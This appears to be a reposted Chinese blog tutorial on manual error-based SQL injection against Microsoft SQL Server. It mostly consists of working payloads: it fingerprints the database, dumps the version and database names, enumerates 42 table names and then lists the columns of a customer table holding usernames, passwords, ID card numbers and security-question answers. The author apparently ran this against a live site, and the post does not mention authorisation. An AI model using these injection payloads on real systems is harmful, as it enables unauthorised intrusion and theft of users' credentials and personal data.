MSSQL手工注入

最新推荐文章于 2020-10-10 17:50:45 发布

转载最新推荐文章于 2020-10-10 17:50:45 发布 · 115 阅读

0 ·

CC 4.0 BY-SA版权

原文链接：http://blog.51cto.com/10924757/1948266

注入点屏蔽了and语句and 1=2 没有报错，就用or语句。

wKioL1lsdFui1qGTAABatfXPJ0c071.png-wh_50

and (select count(*) from sysobjects)>0 返回正常就是mssql数据库

wKiom1lsdFzCfQYEAABHiwAsXgQ307.png-wh_50

and 1=(select @@version) 查看版本信息

and 1=(select db_name())获取当前所在数据库名（对其他数据库没有权限）

and 1=(select top 1 name from master..sysdatabases where dbid>4)

获取第一个数据库名

and 1=(select top 1 name from master..sysdatabases where dbid>4 andname <> '第一个数据库库名') 获取第二个数据库库名

wKiom1lsdF2AQK0pAAA4qsqPOSs307.png-wh_50

可以继续爆数据库：and 1=(select top 1 name from master..sysdatabaseswhere dbid>4 and name <> '第一个库名' and name <> '第二个库名')

以此类推我爆出了6个数据库

and 1=(select top 1 name from master..sysdatabases where dbid>4 andname <> '第一个库名' and name <> '第二个库名' and name <> '第三个库名' and name <> '第四个库名' and name <> '第五个库名' and name <> '第六个库名')

获取第一个当前使用的数据库表名：and 1=(select top 1 name from sysobjects wherextype='u')

获取第二个当前使用的数据库表名：and 1=(select top 1 name from sysobjects where xtype='u’ and name <> '第一个数据库表名')

wKiom1lsdF-SSOCFAAA4A61Zj50653.png-wh_50

以此类推一直把所有表名全部爆出（超痛苦~）

and 1=(select top 1 name from sysobjects wherextype='u' and name <> '表1' and name <> '表2' and name <> '表3' and name <> '表4' and name <> '表5' and name <> '.......................... and name <> '表42')

获取第一个当前使用的数据库中的表(CusTomer)中的字段：and 1=(select top 1 name from syscolumns whereid=(select id from sysobjects where name = 'CusTomer'))

同理，一直爆该表的字段，爆完为止：and 1=(select top 1 name from syscolumns where id= (select id fromsysobjects where name = 'CusTomer')and name <> 'Account' and name<> 'Account_UseMode' and name <> 'Address' and name <>'AvailDate' and name <> 'Bind_IP' and name <> 'ContactType' andname <> 'CreateDate' and name <> 'CusTomer_ID' and name <>'CusTomer_UUID' and name <> 'Discount' and name <> 'Distinction'and name <> 'IDCardNo' and name <> 'LastCheckDate' and name<> 'LastProgID' and name <> 'LastTime' and name <> 'ModiMail'and name <> 'ModiPass' and name <> 'PayMode' and name <>'PBAnswer' and name <> 'PBQuestion' and name <> 'Purchase_Mode' andname <> 'RealName' and name <> 'Status' and name <> 'UserAge' and name <>'UserDuty' and name <> 'UserMail' and name <> 'UserMemo' and name<> 'UserName' and name <> 'UserPass' and name <>'UserTechPost')